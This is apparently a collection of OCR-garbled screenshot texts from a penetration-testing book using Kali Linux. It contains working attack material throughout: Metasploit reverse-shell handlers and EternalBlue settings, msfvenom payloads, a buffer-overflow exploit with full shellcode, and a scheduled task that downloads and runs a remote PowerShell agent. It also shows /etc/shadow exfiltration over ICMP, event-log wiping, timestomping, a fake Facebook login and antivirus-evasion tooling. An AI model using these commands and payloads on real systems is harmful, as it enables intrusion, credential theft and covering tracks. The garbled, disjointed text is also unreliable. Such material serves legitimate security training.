MACE of attributes equal to the supplied file|

Help banner

Set the "last written" time of the file

Set the MACE timestamps recursively on a directory
Display the UTC MACE values of the file

set all four attributes (MACE) of the file
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files have sent, use CErl+C to exit and save.

245 bytes List.txt
1245 bytes List.txt
1245 bytes List.txt
1245 bytes List.txt
1245 bytes List.txt
1245 bytes List.txt
1245 bytes' List.txt
1245 bytes List.txt
1117 bytes' List.txt

(1nfo) Saving recieved bytes to './recieved 2017-06-13_12-20-57_List.txt]
(massun) +30177bdb21b8a1550b34£co70ac04a9c
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# nmap --spoof-mac Cisco --data-length 24 -T paranoid --max-hostgroup 1
max-parallelism 10 ~Pn —f -D 10.1.20.5,RND:S,ME —v —n -sS -sV —oA
/desktop/pentest /nmap/out -p T:1-1024 --randomize-hosts 10.1.1.10 10.1.1.15
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A - Inction (s0)

AL Inection (other)  UserLookup(SQL)|

OWASP 2007 Sasson Mansgemant

Webservims A3 Cross Sta Scpting (x55) | Rflcted (st Order)

4 - Insscure Dirct oot persistant (Second or

secuty Msooiguaion > o
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chatpw -1 <sam file>
chntpw —u <user><sam file>
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Veil/Evasion>: checkvt

[*] Checking Virus Total for payload hashes...

[*] No payloads found on VirusTotal.com!

[>] Press any key to continue...
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creds
pth 1
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mst exploit(handler) > use exploit/windows/local/bypassuac
Bt exploit(bypassuac) > show options

Module options (exploit/windows/local/bypassuac) :

Name Current Setting Required Description
sessTON yes he session to run this module on.
TECHNIQUE  EXE yes Technique to use if UAC is turned off

Accepted: PsH, EXE)

Exploit target:

1a wame

Windows x86

msf exploit(bypassuac) > set session 1
Session => 1
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msfvenom —-p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.125
Yptrtmddd =2 axh > paysent .sms
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[*] Processing /root/.set//meta config for ERB directives.
resource (/xoot/.set//meta_config)> use multi/handler
resource (/root/.set//mata_contig)> set payload windows/meterpreter/reverse_http|
payload => windows/meterpreter/reverse https

.set//neta_config)> set LIOST 192.168.0.116

J0.116

_set//meta_config)> set LEORT 443

.set//mata_config)> set Exitonsession false
false
.set//meta_contig)> set EnablestageEncoding true
[Enablestagerncoding => trus
resource (/root/.set//meta_config)> exploit -3
[*] Exploit rumning as background job.

[*] Started ETTPS reverse handler on https://192.168.0.116:443
[#] Starting the payload handler...
[%] https://192.168.0.116:443 handling request from 192.168.0.119; (UUID: Sluso:

mst exploit(handler) > (] Meterpreter session 1 opened (192.168.0.116:443 -> 19}
o400

mst exploit (handier) > sessions

[ETT———

1 meterpreter x86/windows VACtim\EISC @ VICTIM 192.168.0.116:443 -> 192.16|
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~# cp /usr/share/exploitdb/platforns/windows/remote/3996.c apache.|
gec apache.c -o apache

~# ./apache

apache mod rewrite exploit (win32)

: fabio/b0x (0c-192, 0ld CoTS member)

caffeine, raver, psikoma, cumatru, insomnia, teddyms, googleman,
-/apache hostname rewrite_path

4 ./apache localhost /

apache mod rewrite exploit (win32)

fabio/b0x (0c-192, old COTS member)

: caffeine, raver, psikoma, cumatru, inscmnia, teddyms, googleman,

[#]ereparing payload
[+]Connecting. ..
[+]Connected
[+]Sending. ..
[+15ent
[+]Starting second stage.
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rootakali;~/chap7¥ ydca -1 adein P passlist.txt 192.160.0.101 http-post
s ra Ttk e oy et e Lain it o 15
B L ——

Dot met's Lo i T ey ol & ok ¢ e tetes (A1), 1 ey e sk

e B e s e s Lo e s
T Caryut. suocmssfully comploted, 1 valid passeord. found

e, (bt e the 73y Rpora) Flaisbad St 3018 15-23 15:11:10
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# dnsrecon -t std -d cyberhia.com
Performing General Enumeration of Domain:cyberhia.com
Wildcard resolution is enabled on this domain
It is resolving to 92.242.132.24
All queries will resolve to this address!!
DNSSEC is not configured for cyberhia.com

SOR ns17.domaincontrol.com 216.69.185.9
ns17.domaincontrol.com 216.69.185.9
ns17.domaincontrol.com 2607:£208:20
ns18.domaincontrol.com 173.201.76.9
ns18.domaincontrol.com 2603:5:22¢0
aspmx3.googlemail.com 74.125.130.27
altl.aspmx.1.google.com 64.233.163.27
alt2.aspmx.1.google.com 74.125.130.27
aspmx.1.google.com 74.125.133.27
aspmx2.googlemail.com 64.233.163.27
aspmx3.googlemail.com 2404:6800:4003:c01:
altl.aspmx.l.google.com 2a00:1450:4010:c06: :1a
alt2.aspmx.1.google.com 2404:6800:4003:c01:
aspmx.1.google.com 2a00:1450:400¢:C06: :1b
aspmx2.googlemail.com 2a00:1450:4010:c06: :1b
A cyberhia.com 166.62.126.169
TXT cyberhia.com google-site-verification=qJu2HdlrKYbaEExs|
TXT cyberhia.com v=spfl include: spf.google.com ~all

BEaE

>
>
>
>
=
=
=
=
>
>
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9 16/29

TOR-MIAGL
NET-96-47-226-16-1
NET-96-47-224-0-1
Reallocated

This is a Tor Exit Node operated on behalf of the Tor
Project. Tor helps you defend against network
surveillance that threatens personal freedon and
privacy. You can learn more now at www.torproject.org
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€ > © [ @ Secure | hipsy/apps devmicrosoft.com/portal/register-app

Microsoft

Register your application

Application Name

aiczd

Guided Setup

Let us help you get started

By proceeding, you agree to the Microsoft Platform Policies
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Veil>: use Evasion

Veil-Evasion

[web)

Bttps://weu.veil-framework.con/ | [Twitter]: @VeilPramework

/e11-Evasion Menu
41 payloads loaded

Available Commands:

back Go to Veil's main mems

checkvt Check VirusTotal.com against generated hashes
clean Remove generated artifacts

exit Completely exit Veil

info Information on a specific payload

1ist List available payloads

use Use a specific payload

Veil/Evasion>: list
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root@kali:~# python cupp.py -i
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141 skioping
4] Seibping
1) Skioping
1] Skipping

proviously capturad hash £or
Proviouy captored ham for
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meterpreter > background
[*] Backgrounding session 1...

msf exploit (multi/handler) > use
exploit/windows/local/ms18_8120_win32k_privesc

msf exploit (windows/local/ms18_8120_win32k_privesc) > set session 1
session => 1

msf exploit (windows/local/ms18_8120_win32k_privesc) > exploit
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use
set
set
set
set

exploit/windows/smb/ms17_010_eternalblue
payload windows/x64/meterpreter/reverse_tcp
rhost 192.168.0.166

lhost 192.168.0.137

lport 4444

exploit -3

use
set
set
set
set

exploit

exploit /windows/smb/ms17_010_eternalblue
payload windows/x64/meterpreter/reverse_tcp
rhost 192.168.0.119

lhost 192.168.0.137

lport 4442
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facebook &
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msfvenom -p windows/x64/meterpreter/reverse_tcp lhos!
lport=443 -f£ dll > /root/chapl2/injectme.dll

92.168.1.125
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Facebook Session Timed Out

Your session has timed out due to inactivity.

Please re-enter your username and password to login.

Email:

Password:
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rootekali:~/kalibrate-hackrf# kal -5 GSM300

kal: Scanning for GSM-900 base stations.

GsM-900:
47 (944.4MHZ + 38.205KHz) power: 698071.68
49 (944.6MHz + 13.760KHZ) power: 620465.95
49 (944.8MBz ~ 10.448kHz) power: 617233.78
50 (945.0MHz - 38.829kHz) power: 629163.32
56 (946.2MHz - 11.024KkHz) power: 411237.29
69 (948.8MHZ + 6.962Kiiz) power: 1079474.47
72 (949.4MBz + 7.306kHz) power: 784737.50
91 (953.2Miz + 26.349kNz) power: 555656.59
92 (953.4MHz + 24.712kHz) pover: 627278.41
93 (953.6Milz + 14.840kHz) power: 591864.86
94 (953.8Miz - 10.265kiz) power: 579114.89
106 (956.2Milz - 17.932kiiz) poy 530616.12
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jmeterpreter > shell
Process 464 created

[channe1 12 createa.

Juscrosort windows [version 6.1.7601)
Jcopyzignt () 2009 Microsoft Corporation. Al rights reserved.

Jo: \itndons\systemszonetah adveirevall firevall add rule mame=tsvchostpassthrough
dir=out action=allow protocol=TCP localport=g8ss

Jneten advirewall firewall add rule name=svehostpassthrough dir=out action=alll

o protocol=rcy localport=asse

o

Jo: \itndons\systenszonetah adveirevall firewall show rule names"svchostpassthroug
s
Joetsn acvizewall firewall show rule name=vsvehostpassthrough

svchostpassthrough

Yos
out
Domain, Private, Public

aay
oy
ases
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size of vba-exe file: 20431 bytes

This code is now split into two pieces:
1. The Macro. This must be copied into the Office document
macro editor. This macro will run on startup.

2. The Data. The hex dump at the end of this output must be
appended to the end of the document contents.
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jneterpreter > clearev
Wiping 1272 records from Application...

Wiping 4816 records from System...
Wiping 3756 records from Securit
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root@kali:~# nc -vv 192.168.0.101 80

192.168.0.101: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.101] 80 (http) open

HEAD / HTTP/1.0

HTTP/1.1 400 Bad Request

[Date: Sat, 15 Dec 2018 23:27:01 GMT

Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHE/5.6.39
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=utf-8
Content-Language: en

: sat, 15 Dec 2018 23:27:01 Gar
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[rootekali:~/exfil/dnsteal# cat ./recieved 2017-06-13_12-20-57_List.txt
root: /root: /bin/bash
/usr/sbin/nologin

3:3:sys: /dev: /usr/sbin/nologin
65534: sync: /bin: /bin/sync
‘usr/games: /usr/sbin/nologin
[man:x:6:12:man: /var/cache/man: /usr/sbin/nologin

1p: /var/spool/1pd: /usr/sbin/nologin
: /var/mail: /usr/sbin/nologin
: /vaz/spool /news: /usx/sbin/nologin
:uucp: /var/spool /uucp: /usz/sbin/nologin
13:13:proxy: /bin: /usz/sbin/nologin
33:33:wne-data: /vax/wnw: /usz/sbin/nologin
[baciup:x: 34 : 34 :backup: /var/backups : /usr/sbin/nologin
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s > use auxiliary/scanner/discovery/ipvé multicast ping
st auxi1sary (scanner/as 1p Cast_ping) > show options

uodule options (auxiliary/scanner/discovery/ipve multicast ping):

Name Current Setting Required Description

TvrEREACE no The name of the interface

sHosT The source IPV6 address

anc The source MAC address

TIMEoUT Timeout when waiting for host response

> set INTERFACE etho

Sending multicast pings...
Listening for responses...
[7] £80::1874:982c:d2fa:471a => 89:09:fe:6bicA:
I*] £680::8e£5:a3rr: foB6:aae2 => Bc:£5:a3:86:aa:
%] £680::0298:61¢7:£026:3732 => 0:98:61:26:37
Auxiliary module execution completed
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(Empire: powershell/privesc/getsystem) > run
[>] Module is not opsec safe, run? [y/N] y

[*] Tasked GZIHNWEL to run TASK CMD_WALT

[*] Agent GZIHNWEL tasked with Eask 1D 7

[*] Tasked agent GZIHNWEL to run module powershell/privesc/getsystem

(Empire: powershell/privesc/getsystem) > [*] Agent GZIHNWEL returned results.
Running as: MASTERING\SYSTEM

stem completed
1ts returned by 192.168.0.115






OEBPS/Images/8t11.jpg
T Your Ruby vereion 12 2.3.1. wake sure your version 1s w-to-date vith the 1a
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Tadovic Courguaud - CONTX securt

(4] ucemmsruly Tosded login: st
T sor sarver
101 Sonaric 338 snjection

o http://<romizc-1e> ouss)
5. //152.160.213.120: 0080 Locp: oz bty /<RURLIC 1P>:6008 Loap"
p://192.168. 213, 128: 0080/ St Mm% *RACP1//TURLIC. 110880 et el |

(3] X557 Tumwal prosy ¢ 'localhost:989"
(01 xaar 1o page “ntep: Pocatbost
(4] X357 statistics page: 'hEtp://locathost:
(4] X537 halp page | ¢ ‘hitp://localhost
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mtempece > guts
torproter’> gutsyaten

1 iy sievata,guteyatan: paxation failed: Tha smvizommest ix incorsect. The following vas attemptad:
(1 Noned Pipe Toparsomation. (1n Momocy/Admin)

(53 Mamed Pipm Tmparscnation (Droppes/adeta)

(5] Tonen Duplacation. (1n Memory/Admia)

mtarpretar 3 sysisge
Compater eexror-muasens

Systan Language  en 68
Zogged on Users 2
Metecproter - x06/wtodows
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http://192.168.0.101/mutillidae/index.php?page=view-user-privilege-level.ph
Péiv=6bc2d£c1ab650b25b4114e93a98 f1eba
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rootékali:/usr/share/exploitdb/platforms/windows/remotel cp 76.c /tap
root@kali:/usr/share/exploitdb/platforns/windows/remotel cd /tmp
rootekali:/tmph 1s

76.c
rootékali:/tuph goc 76.c —o 76.exe
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‘Armitage

Armitage View Attacks Workspaces Help
> (@ auxiiary | Import Hosts
» @ exploit

> @ payload
> (@ post MSF Scans...
DNS Enumerate

Intense Scan
Intense Scan + UDP.
Intense Scan, all TCP ports
Intense Scan, no ping

Ping Scan

Quick Scan

Quick Scan (05 detect)
Comprehensive

Clear Database

192.168
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[¥] Backgrounding session 1.

mSt exploit(ns17_010_eternalblue) > use awriliary/scanner/netbios/sbname
RSt auxiliary (nbname) > set rhosts 192.168.52.0/24

Thosts => 192.168.52.0/24

msf auxiliary (nbname) > run

[*] Sending NetBIOS requests to 192.168.52.0->152.168.52.255 (256 hosts)

[*] 192.168.52.1 [DESKTOP-GIES2E7] OS:Windows Names: (DESKFOP-GIE32N7, WORKGRO
2.168.232.1, 192.168.52.1, 192.168.0.120) Mac:00:50:56:c0:00:08 Virtual Machi
[4] 192.168.52.129 [VICTIM) 0S:Windows Names: (VICFIM, ADVANCED, _ MSEROWSE_)
[*] 192.168.52.130 [METASPLOTTABLE] OS:Unix Names: (METASPLOTTARLE, _ MSERONSE_
©:00:00:00:00:00:00

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed
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info | || dscussion | [ expiot | | soiution” || references |

Apache HTTP Server CVE-2016-0736 Remote Security Vulnerability
References:

+ Bug 1406744 - (CVE-2016-0736) CVE-2016-0736 httpd: Padding Oracle in Apache mod (Redhat)
+_ Apache httpd 2.4 vulnerabilities (Apache)
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[ProxyList]
# add proxy here ...
# meanwile

# defaults set to "tor"

socks4Ji127.6.0.1 9050
socks5 127.6.0.1 9850
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tarting masscan 1.0.4 (http://bit.ly/14G2zcT) at 2019-01-20 16:48:54 GMT
forced options: -s§ -Pn -n —-randomize-hosts —v —send-eth

ating SYN Stealth Scan
Scanning 256 hosts [1 port/host]
covered open port 80/tcp on 192.168.0.16
covered open port 80/tcp on 192.168.0.1
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snmpwalk -c public ipaddress
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# service tor status
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> use web/pma
PMA > show options

http://google.com

wsf:PMA > set target 192.168.0.120
TARGET => 192.168.0.120

wsf:PMA > run

T*] Your Target : 192.168.0.120
[*]Loading Path List ... Please Wait
[/phpMyAdmin/] ... [404 Not Found]
[/phpmyadmin/] ... [403 Forbidden]
[/PMA/] ... [404 Not Found]
[/admin/] ... [404 Not Found]
[/dbadmin/] ... [404 Not Found]
[/mysql/] ... [404 Not Found]
[/myadmin/] ... [404 Not Found]
[/phpmyadmin2/] ... [404 Not Found]
[/phpMyAdmin2/] [404 Not Found]
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sudo fdisk -1
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mailfy -n cyberhi:
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print (banner)

command = "TRUN *
header = "|/.:/"

buffer = "z" * 2002

¥625011AF FFE4 JMP ESP

eip = "\xAF\x11\x50\x62"

nops = "\x90" * 50

buf = v

buf += "\xd9\xcO\xd9\x74\x24\x£4\x5d\xb8\x8b\x16\x93\x5e\x2b"
buf += "\xc9\xb1\x61\x83\xed\x£c\x31\x45\x16\x03\x45\x16\xe2"
buf += "\x7e\xcf\x53\x87\x£4\xd4\xa7\x62\x4b\xfe\x93\x1a\xda"
buf += "\xd4\xea\xac\x47\x1a\x97\xd9\x£4\xb6\x9b\xe5\x6a\x8e"
buf += "\x0£\x76\x34\x24\x05\x1c\xb1\x08\xbe\xdd\x30\x77\x68"
buf += "\xbe\xf8\x2e\x89\xc9\x61\x6c\x50\x£8\xa9\xef \x7d\xbd"
buf += "\xd2\x51\x11\x59\x4e\x47\x07\x£9\x83\x38\x22\x94 \xe6"
buf += "\x4d\xbS\x87\xc7\x54\xb6\x85\xa6\x5d\x3c\x0e\xe0\x1d"
buf += "\x28\xbb\xac\x65\x5b\xd5\x83\xab\x6b\x£3\xe7 \x4a\xc4"
buf += "\x65\xdf\x76\x52\x£2\x18\xe7\x£1\x£3\xb5\x6b\x02\xfe"
buf += "\x43\x££\xc7\x4b\x76\x68\x3e\x5d\xcd\x17\x91\x66\x08"
buf += "\x21\xd8\x52\x77\x99\x59\xa9\x 74 \xba\xea\xfd\x0f \xfb"
buf += "\x11\x£3\x29\x70\x2d\x3£\x0d\xbb\x5c\xe9\x13\x5£\x64"
buf += "\x35\x20\xd1\x6b\xc4\x41\xde\x53\xeb\x34\xec\x£8\x07"
buf += "\xac\xel\x43\xbc\x47\x1£\x6a\x46\x57\x33\x04\xb0\xda"
buf += "\xe3\x5d\x£0\x67\x90\x40\x14\x9b\x73\x98\x50 \xa4 \x19"
buf += "\x80\xe0\x4b\xbd\xbc\xdd\xac\xaa\x92\x2b\x07\xa6\x3d"
buf += "\xd2\x0c\xdd\x£3\x99\xb9\xdb\x93\x93\x1e\x20\x89\x57"
buf += "\x7c\xle\xfe\x45\x50\x2a\x1a\x79\x8c\xbf\xdb\x76\xb5"
buf += "\x£5\x98\x6c\x06\xed\xa8\xdb\x9£\x67\x67\x56\x25\xe7"
buf += "\xcd\xa2\xal\x0f\xb6\xcO\x3£\x4b\x67\x98\x1f\xe3\xdc"
buf += "\x6£\xc5\xe2\x21\x3d\xcd\x23\xcb\x5£\xe9\x30\x£T\x£1"
buf += "\x2d\x36\x0c\x19\x58\x6e\xa3\x££\x4e\x2b\x52 \xea\xe7"
buf += "\x42\xcb\x21\x3d\xe0\x78\x07\xca\x92\xe0\xbb\x84\xa1"
buf += "\x61\x£4\x£b\xbc\xdc\xc8\x56\x63\x12\x£8\xb5 \x1b\xdc"
buf += "\xle\xda\x£fb\x12\xbe\xc1\x56\x5b\x£9\xEc\xfb\xla\xcO"
buf += "\x73\x65\x54 \x6e\xd1\x13\x06\xd9\xcc\x£b\x53\x99\x 79"
buf += "\xda\x05\x34\xd2\x50\x5a\xd0\x78\x4a\x0d\x6e\x5b\x66"
buf += "\xbb\x07\x95\x0b\x03\x32\x4c\x23\x57\xce\xb1\x1f\x2a"
buf += "\xel\xe3\xc7\x08\x0c\x5c\xfa\x02\x63\x37\xb9\x5a\xd1"
buf += "\xfe\xa9\x05\xe3\xfe\x88\xcf\x3d\xda\xf6\x£0\x90\x6b"

buf
s.send
print

"\x3c\x8b\x39\x3e\xb3\x66\x79\xb3\xd5\x8e\x71"
(command + header + buffer + eip + nops + buf.

("server pawned - enjoy the shell"
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JINFO WIFI

SSID = Cyber Lab / WPA2
Channel = 6

Speed = 65 Mbps

BSSID = B4:EF:FA:94:21:C5 ( )

(2] select Attack Option
[1] FakeAP - Hostapd (Recommended)

[2] FakeAP - airbase-ng (Slower connection)
[3] Back

[deltaxflux@fluxion]-[~1]
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C:\>C:\Users\V04797X\Down10ads \PSTooTs\PsExec.exe \\192.168.0.166 -u "advanced\
agrant® -p vagrant cad”

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovic
Sysinternals - www.sysinternals.con

microsoft windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. A1l rights reserved.

C:\Windows\system3z>
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Tastgkal:
root@kal:

8 ARGURENY DR, SN
~# ifconfig wlan0 | grep HW
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variablesize= 5004

Fuzzing variable 0:2

Line read=welcome to Vulnerable
Variablesize= 5005

Fuzzing variable 0:3

line read=welcome to Vulnerable
variablesize= 21

119 9999 exploitfuzz.spk 0 0
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usemodule situational_ ;/network/powerview/get_loggedOn execute






OEBPS/Images/5t4.jpg
edia/root/CASCA2BASCA276E o en32/config# \s -la | more

root root 49152 Jun 17 15:52

root root 655360 Jun 17 15:57 ..

root root 28672 Jun 21 2016 BCD-Template
TWXTWXTWE 2 Foot root 25600 Jun 21 2016 BCD-Template.LOG
IWCTWXTWE 2 root Foot 32768000 Jun 17 15:52 COMPONENTS
|- rwxrwxrwx 2 root root 65536 Jun 21 2016 COMPONENTS{01588809-6c6f-11de-8dld|
Jooteopcdesecy . M. bt
IWXTWXTWX 2 00t root 524288 Jun 21 2016 COMPONENTS{01688809-6¢6f-11de-8ald|
Jpo1e0bcde3ect . THCont ainer900B00EREB0000BBEEA1 . regt rans -s
rwxrwxrwx 2 FOOf root 524288 Jul 14 2009 COMPONENTS(0168880b9-6c6f-11de-8c
Joo1e0bCde3ec) . THCONt 21nerOREEEREREEEEE00BE2. regt rans -is
[-rwcrwcrw 2 foot root 65535 Sep 29 2016 COMPONENTS(6632cbee-8539-11¢6-8404
Jean3iglestca) . M. oL
IWXTWXTWe 2 OOt root 524288 Sep 29 2016 COMPONENTS{0632cbee-8539-11e6-8404
Jean3161e37c4} . THCoNtainer@AOROOERBREEEARBEA1 . regt rans -is
IWXTWXTWX 2 OOt rOOt 524288 Sep 28 2016 COMPONENTS{6632chee-8539-11e6-8404
Je4n3181e3fc4} . THCONt 21nerBOBBEEE0R0EBB00006E2 . regt rans s
- rwxrwcrwc 2 root root 65536 Jun 17 15:04 CONPONENTS{37da0370-8617-11e6-8081
Jeav3181e31c4) . TH. bLT
FWCTWXrWX 2 OOt roOt 524288 Jun 15 09:43 COMPONENTS(3fda0370-8617-116-8081
Je4o3181e31c4} . THCONt 01nerB0B00000006000000001 . reqt rans-ns
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root@kali:~# airmon-ng start wlan0
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[ms£ exploit (windows/fileformat/ms13_071_theme) > st payload windows/powershell reverse top)
o Capioxt (vinaoes,FL1eformat/ms13_ 071 thene) > set Thost. 192.168.0.24
st explolt (vindous/filoforsat/ms13 071 thene) > exploit

Caploit (vindovs EL1eoraat/ast3. O71 thene) >

Started service listener on 192.160,0.24:445

Malicious SCR avallablo on \\192.160.0.24\LiQUI\RSI .scr. .
Creating ‘maf..thepet filo

st these Stored at /rool/ msc4/local/mst . theme
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C:\> whoami /groups
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msfvenom -a x86 --platform windows -x clone_newFile.exe -k -p
windows/meterpreter/reverse_tcp lhost=192.168.0.24 lport=443 —e
x86/shikata_ga_nai -b '\x00' -f exe -o encoded.exe
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Login as: zoot
coot#152.165.0.204's password:
Judnux kali 4.15.0-kali2-and6d #1 SHP Debian 4.15.11-1kalil (2018-03-21) x86_64

[he programs included with the Kali GNU/Linux system axe free software:
ehe exact distribution terms for sach program are described in the
individual files in /use/share/doc/*/copyright.

[Kali GHU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
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msf> search UnrealIRCd
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o ] e i = -

Merge folder ‘modules™?

A newer folder withthe same name aready exits n “metasplotframework'.
Meging wil ask for confimation before replacing any fles nthe flder that conflct with th fles being copied.

Original folder
B e
oS rs

i
T
o o

» Select 3 new name for the destination

(CJAppy this acton o all fes and foders
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% Win32 Disk Imager - 1.0

Image Fie
[D: Hacktools kal-inux-2018.2-amd64.is0 6y

Hash

s~ [Generate | GBI

[ Read Only Allocated Partitions
Progress

| ™

(ool | R (I EREHI [ ox

00:18/04:22

7.32601MB/s
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root@kalii~# responder -1 eth0 —i 192.168.1.125

NBT-NS, LIMNR & MDNS Responder 2.3.3.9

Author: TLaurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

[+] Poisoner:
LLMNR
NBT-NS
DNS/MDNS

Servers:
HITP server
HITPS server
WPAD proxy
Auth proxy
SMB server
Kerberos server
SQL server
FTP server
IMAP server
POP3 server
rver
DNS server






OEBPS/Images/169-i.jpg
root@kali:~# sqlmap -u
‘http://192.168.75.129/mutillidae/index.php?page=user-
info.php&username=admin&password=&user-info-php-submit—
button=View+Account+Details' —-dbs
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ACCESS POINT:

Operation tine
Attenpts. ,
Clients...

CLIENTS ONLINE:
1) 192.168.1,101 eB:2ateaici:f6ie2 (Intel Corporate) LY
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schtasks /create /tn WindowsUPdate /tr
"c:\windows\systen32\powershell exe -WindowStyle hidden -NoLogo -
NonInteractive -ep bypass —nop -c 'IEX ((new-object

net.webclient) .downloadstring ('http://192.168.0.109: /agent . psl')) "
/sc onlogon /ru System





OEBPS/Images/320-i.jpg
./config-sample.json -p icmp -L
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msf auxiliary(nbname) > use auxiliary/scanner/portscan/tcp
mSf auxiliary(tcp) > set rhosts 192.168.52.130

Thosts => 192.168.52.130

msf auxiliary(tcp) > run

[*] 192.168.52.130: 192.168.52.130:25
[*] 192.168.52.130: 192.168.52.130:22

[*] 192.168.52.130 192.168.52.130:23

[*] 192.168.52.130. 192.168.52.130:21

[*] 192.168.52.130 192.168.

[*] 192.168.52.130 192.168.

[*] 192.168.52.130: 192.168.

[*] 192.168.52.130 192.168.

[*] 192.168.52.130: 192.168.52.130:445 - TCP OPEN
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use exploit/multi/handler

set payload windows/meterpretere/reverse_HTTPS
set lhost <YOUR KALI IP>

set lport 443

set exitonsession false

exploit -3 -z
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git clone https://github.com/scateu/kalibrate-hackrf
cd kalibrate-hackrf

- /bootstrap

+/configure

./make && make install
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meterpreter> timestomp C:\\
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root@kali:~# iwconfig
no wireless extensions

IEEE 862.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated  Tx-Power=15 dBm

Retry short linit:7 RTS thr:off Fragnent thr:off
Encryption key:off
Power Managenent :off

no wireless extensions.
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200 =] 8  sssis
1 admin' 200 (=] @ 55827
3 1= 200 a @  sser9
4 1=1— 200 =] @  ssss3
5 1=1# 200 a @  ssse8

|

$0ST /mutillidae/index.php?page=login. php HTTR/L.1
Host: 152.1€8.0.120

Content-Length: 62

Cache-Concrol: max-age=0

origin: htop://192.166.0.120
Upgrade-Insecure-Requests: 1

User-Agent: Mozillass.0 (Vindows NT 6.1; Winéd
Content-Type: application/x-wiu-fora-urlencoded

|Accept: cexc/heml,application/xhemlixal,applicacion/xnl;g=0.9, inage/uebp,*,
Referer: heep://182.168.0.120/mucillidae/index. php?page=login. php
|Accepc-Language: en-US,en;q=0.8

Cooicie: showhints=l; PHPSESSID=njedDolg?fta7as6lellsrea)?

Connection: close

x64) AppleVenkit/537.36 (i

usernane=adnin’ 42084password=s 276 Login-php-submit-button=Login
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NonInteractive -ep bypass -nop -c 'IEX ((new-object
net .webclient) .downloadstring('http://192.168.0.109: /agent.psl')) "
/sc onlogon /ru System
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root@kali:~# wash -i wlan0
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Just > use auxiliary/fuzzers/http/http form field
fust auxiliary (fuzzers/nttp/ttp_forn Field) > set useragent

fuseragent = Mozi11a/4.0 (compatible; STE 6.0; Windows NT 5.1)
lust auxiliary (fuzzers/http/http_form field) > set useragent Googlebot-Inage/1.0
[useragent => Googlebot-tuage/1.3
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# sanduap2 SYSTEN SAN
Adninict rator 500: ad3b435051404ceand b4 3505140426  3105¢ 40104203107 3¢ 500700

Guest :501 s i04 35051404 ccaad3bed5b31 404se: 316 £ o1 6863 TDT3c59d700R9O:

{150ppart - 1601 :aadid 35651 404e8aad30435081404 e :0a04G Y 1ce31eazd 411839 e






OEBPS/Images/10t15.jpg
Open ecurity Wars

g

The publisher could not be verified. Are you sure you want to
run this software?

Name: 14192.168.0,241LiQUI\msF scr
Publisher: Unknown Publisher

Type: Screen saver

From: 11921680, 241LiQUIYmsf.scr

publisher. ‘You should only run software fiom publishers you tiust

e‘ This file does not have a valid digital signature that verifies its
How can | decide what software to un?
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Rt
e —
SOGGEST, Bat the Jote/openvas/pepolicy cont Fils to set a passwerd policy.

e et ey
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Crl T e e
S
OO T R e
Stees e

It soems Like your OpeaVas-8 instalistion in oK.

Retp:7/Adata vals intavation:oro/mstiman/ixtinto/openras-disouss
Flaae attach the log File {/omp/opavas chock.cotup 1of) 46 heip s analyse the problem.
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WIFI LIST
™ rAC cHAN  SECU PWR

(11 sa:E:s2:58:20: WA
2] A4:71:74:91:99: woaz
[3]  40:00:10:68: weA2
[4]  52:00:10:6B:02: weaz
[5]  80:26:89:71:F3: weaz
[6]  52:00:10:4A:D9: WeA2
(71 a0:00:10: : weaz
[8]  D2:05:C2:06:28: weaz
[3]  40:00:10: : WeA2
[10]  a6:1c:AB:aB:86: wea2
[11]  €0:05:C2:06:28: wea2
[12]  52:00:10:44:AC: WeA2
[13]  sa:BE:s2:01:85: weaz
[14]  D2:03:C2:02:85: wea2
151+ co:05:c2 weA2 VH5345129
18] Ba:EF:FA:sa:21: Wz cyber Lab

(%) Active clients

Select target. For rescan type r
deltaxfluxefluxion] -[~]
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Please update SET to the latest before submitting any git

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Gemerator Attack Vector
9) Powershell Attack Vectors

10) Spoofing Attack Vector

11) Third Party Modules

99) Return back to the main menu.
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msfconsole -q -r nameofyourfile
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smbclient -I TargetIP -L administrator -N -U ""
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The Spearphishing module allows you to specially craft email messages and send
then to a large (or small) number of people with attached filefornat malicious
payloads. If you want to spoof your email address, be sure "Sendnail” is in.
stalled (apt-get install sendnail) and change the config/set config SENDMAIL=OFF
flag to SENDMATL=ON

There are two options, one is getting your feet wet and letting SET do
everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1) Perforn a Mass Enail Attack
2) Create a FileFornat Payload
3) Create a Social-Engineering Template
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root#ext-kali:/home/trumpd cat /etc/passwd > exfiterthis
zootéext-kali: /home/trumpl cat /etc/shadow >> exfiterthis

Zootéext-kali: /home/trumpl hpingd -1 -E ./exfiterthis -u ~d 1500 192.168.1.104

HPING 192.168.1.104 (othO 152.168.1.104) : icap mode set, 28 beaders + 1500 data bytes|
[main] memlockall(): operation not supported

Warning: can't disable memory paging!

1en=1500 1p=152.169.1.104 t1=120 DF 1d=2912 icap seq=0 rtt=d.7 ms

DUP! 1en=1500 1p=192.168.1.104 tE1=64 DF 1d=26714 icmp_seq=0 rtt=3.7 ms

en=1500 1p=192.168.1.104 ££1=128 DF 14=2914 icap seq=1 rtt=3.5 ms

DUP! 1en=1500 4p=192.160.1.104 tt1=64 DF 1d=26910 icmp_seql rtt=3.6 ms

en=1500 1p=152.169.1.104 £t1=120 DF 14=2916 icmp seq=2 rtt=3.5 ms

DUPt len=1500 1p=192.168.1.104 t£1=64 DF 1d=26953 icmp seq=2 Ftt=3.5 ms

EOF reached, wait some second than press ctrlec

en=1500 1p<192.169.1.104 £E1=128 DF 1d=2921 icmp seq=3 rtt=3.4 ms

DUP! 1en=1500 1p=192.169.1.104 tE1=64 DF 1d=27100 icmp_seq=3 rtt=15.5 ms

1en=1500 4p=152.169.1.104 £t1=120 DF 14=2924 icap seq=A rtt=1.3 ms

